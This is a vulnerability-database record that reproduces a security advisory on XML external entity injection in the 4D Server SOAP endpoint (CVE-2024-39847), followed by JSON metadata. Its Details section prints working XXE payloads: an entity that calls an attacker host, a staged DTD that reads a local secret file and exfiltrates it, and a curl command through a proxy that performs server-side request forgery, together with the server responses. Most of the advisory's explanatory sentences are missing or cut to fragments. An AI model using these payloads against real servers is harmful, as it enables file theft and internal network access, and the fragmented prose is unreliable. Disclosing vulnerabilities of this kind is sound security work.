GCVE-1988-2026-0249
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
SOAP
===============================================================================================
services.
Metadata
========
- - Affected product: 4D Server
- - Affected version: v20 R3
- - Vendor: 4D
- - CVE ID: CVE-2024-39847
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847
- - CVSS 4.0 score: 8.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/
Details
=======
4D Server.
<!DOCTYPE foo [
<!ENTITY % test SYSTEM "http://attacker.tld";>
%test;
]>
"Reject SOAP-Requests" is set in the 4D Server GUI.
controlled server, and can be demonstrated using the following payloads:
Stage 1: XML body sent to the /4DSOAP endpoint
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % stage1 SYSTEM "http://192.168.56.1:2121/stage.dtd";>
%stage1;
]>
Stage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd
<!ENTITY % fileb SYSTEM "file:///c:\Users\john.doe\Desktop\secret.txt">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM '%fileb;'>">
%eval;
%exfiltrate;
Server response for the request sent to the /4DSOAP endpoint:
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Client</faultcode>
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Requests sent to the attacker controlled server (192.168.56.1:2121):
192.168.56.114 - - "GET /stage.dtd HTTP/1.1" 200 -
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Client</faultcode>
- - http:/secret.tld/bar'
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
specific SOAP functions accepting data tags.
port 1337. Once started, files can be requested by issuing a GET request to
http://127.0.0.1:1337/<target URI>
$ curl '127.0.0.1:1337/http://192.168.56.114'
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Client</faultcode>
<html>
[...]
<td class="grayborder">
<h2 align="center">Welcome to your 4D Web Server default home
page!</h2>
<p align="center">This is the <strong><b>4D Web Server</b></strong>
Application.</p>
home page.</p>
<p align="center">Instructions for configuring your 4D Web
Server can be found in the included documentation.</p>
All rights reserved.</p>
</td>
[...]
</html>
'
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
perform "proxied" HTTP requests.
Risk
====
hash.
Solution/Mitigation
===================
Update to 4D Server 20 R7 or higher.
Timeline
========
- - 2024-06-17 Vulnerability discovered
- - 2024-06-24 Attempt to contact vendor, no response received
- - 2024-06-25 CVE ID requested
- - 2024-06-29 CVE-2024-39847 assigned
- - 2024-07-04 Attempt to contact vendor again, no response received
- - 2024-07-09 Attempt to contact vendor again, no response received
- - 2024-07-16 Attempt to contact vendor again, no response received
- - 2024-07-22 Attempt to contact vendor again, no response received
- - 2026-04-29 Advisory published
Credits
=======
The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.
Footnotes
=========
[0] https://4d.com
[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py
[2] https://flask.palletsprojects.com/en/stable/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ//Vp4Ts1sg8wUOx5V46ttU
OkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae
0JfGA0MYYJ4s7WcphN/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg/WP+z1AlTfH9X
MBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52/O7M4K5rB14EjFXW/hHgSFNz
ESUI+o/U1t7nPDulxfSsVmvbDTuvmxrs1xM/ulMYoKFKSueEglNCmF+5i/lFs7LF
rM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV
CAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8/miHX15+vg3N7SBPopOG
aIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa/gJN4K99gCbE2HpPIJRaJmJG
hk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe/CtGZkaEoEa1ePTPUFWhiwORpSsa
AV3i7YZOgjBiEj4ffBfy+Z/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG
vYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo
HH0qazSkyWNwZlaLr5YYUso=
=MhKk
-----END PGP SIGNATURE-----
--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | SCHUTZWERK-SA-2024-002 Arbitrary File |
Affected:
unknown
|
guessed |
Relationships
reference
GCVE-1988-2026-0249 (this record)
- related CVE-2024-39847
{
"containers": {
"cna": {
"affected": [
{
"product": "SCHUTZWERK-SA-2024-002 Arbitrary File",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "David Brown via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nSOAP\n===============================================================================================\n\n\nservices.\n\nMetadata\n========\n\n- - Affected product: 4D Server\n- - Affected version: v20 R3\n- - Vendor: 4D\n\n- - CVE ID: CVE-2024-39847\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847\n- - CVSS 4.0 score: 8.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/\n\nDetails\n=======\n\n\n4D Server.\n\n\n\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % test SYSTEM \"http://attacker.tld\";\u003e\n %test;\n]\u003e\n\n\n\"Reject SOAP-Requests\" is set in the 4D Server GUI.\n\n\ncontrolled server, and can be demonstrated using the following payloads:\n\nStage 1: XML body sent to the /4DSOAP endpoint\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % stage1 SYSTEM \"http://192.168.56.1:2121/stage.dtd\";\u003e\n %stage1;\n]\u003e\n\nStage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd\n\n\u003c!ENTITY % fileb SYSTEM \"file:///c:\\Users\\john.doe\\Desktop\\secret.txt\"\u003e\n\u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfiltrate SYSTEM \u0027%fileb;\u0027\u003e\"\u003e\n%eval;\n%exfiltrate;\n\nServer response for the request sent to the /4DSOAP endpoint:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\u003c/faultstring\u003e\n \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\nRequests sent to the attacker controlled server (192.168.56.1:2121):\n\n192.168.56.114 - - \"GET /stage.dtd HTTP/1.1\" 200 -\n\n\n\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n- - http:/secret.tld/bar\u0027\n\u003c/faultstring\u003e\n \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nspecific SOAP functions accepting data tags.\n\n\nport 1337. Once started, files can be requested by issuing a GET request to\n\nhttp://127.0.0.1:1337/\u003ctarget URI\u003e\n\n\n\n$ curl \u0027127.0.0.1:1337/http://192.168.56.114\u0026apos;\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\n\u003chtml\u003e\n[...]\n \u003ctd class=\"grayborder\"\u003e\n \u003ch2 align=\"center\"\u003eWelcome to your 4D Web Server default home\n page!\u003c/h2\u003e\n \u003cp align=\"center\"\u003eThis is the \u003cstrong\u003e\u003cb\u003e4D Web Server\u003c/b\u003e\u003c/strong\u003e\n\n Application.\u003c/p\u003e\n\n home page.\u003c/p\u003e\n \u003cp align=\"center\"\u003eInstructions for configuring your 4D Web\n Server can be found in the included documentation.\u003c/p\u003e\n\n All rights reserved.\u003c/p\u003e\n \u003c/td\u003e\n[...]\n\u003c/html\u003e\n\u0027\n\u003c/faultstring\u003e\n\u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nperform \"proxied\" HTTP requests.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to 4D Server 20 R7 or higher.\n\nTimeline\n========\n\n- - 2024-06-17 Vulnerability discovered\n- - 2024-06-24 Attempt to contact vendor, no response received\n- - 2024-06-25 CVE ID requested\n- - 2024-06-29 CVE-2024-39847 assigned\n- - 2024-07-04 Attempt to contact vendor again, no response received\n- - 2024-07-09 Attempt to contact vendor again, no response received\n- - 2024-07-16 Attempt to contact vendor again, no response received\n- - 2024-07-22 Attempt to contact vendor again, no response received\n- - 2026-04-29 Advisory published\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://4d.com\n[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py\n[2] https://flask.palletsprojects.com/en/stable/\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ//Vp4Ts1sg8wUOx5V46ttU\nOkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae\n0JfGA0MYYJ4s7WcphN/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg/WP+z1AlTfH9X\nMBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52/O7M4K5rB14EjFXW/hHgSFNz\nESUI+o/U1t7nPDulxfSsVmvbDTuvmxrs1xM/ulMYoKFKSueEglNCmF+5i/lFs7LF\nrM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV\nCAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8/miHX15+vg3N7SBPopOG\naIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa/gJN4K99gCbE2HpPIJRaJmJG\nhk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe/CtGZkaEoEa1ePTPUFWhiwORpSsa\nAV3i7YZOgjBiEj4ffBfy+Z/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG\nvYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo\nHH0qazSkyWNwZlaLr5YYUso=\n=MhKk\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm / HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/May/0"
},
{
"url": "http://127.0.0.1:1337/"
},
{
"url": "http://192.168.56.114\u0026apos"
},
{
"url": "http://192.168.56.1:2121/stage.dtd"
},
{
"url": "http://192.168.56.1:2121/stage.dtd\""
},
{
"url": "http://attacker.tld\""
},
{
"url": "https://4d.com"
},
{
"url": "https://flask.palletsprojects.com/en/stable/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2024-39847"
},
{
"url": "https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py"
},
{
"url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/May/0"
],
"discovery": "EXTERNAL"
},
"title": "SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2024-39847",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0249",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0",
"automated": true,
"contentSha256": "7acb3fb14dc45d336373174c37e25480ae13673627c91b3039f20ae86d2284d2",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/May/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-30T07:16:21Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0249"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0249"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…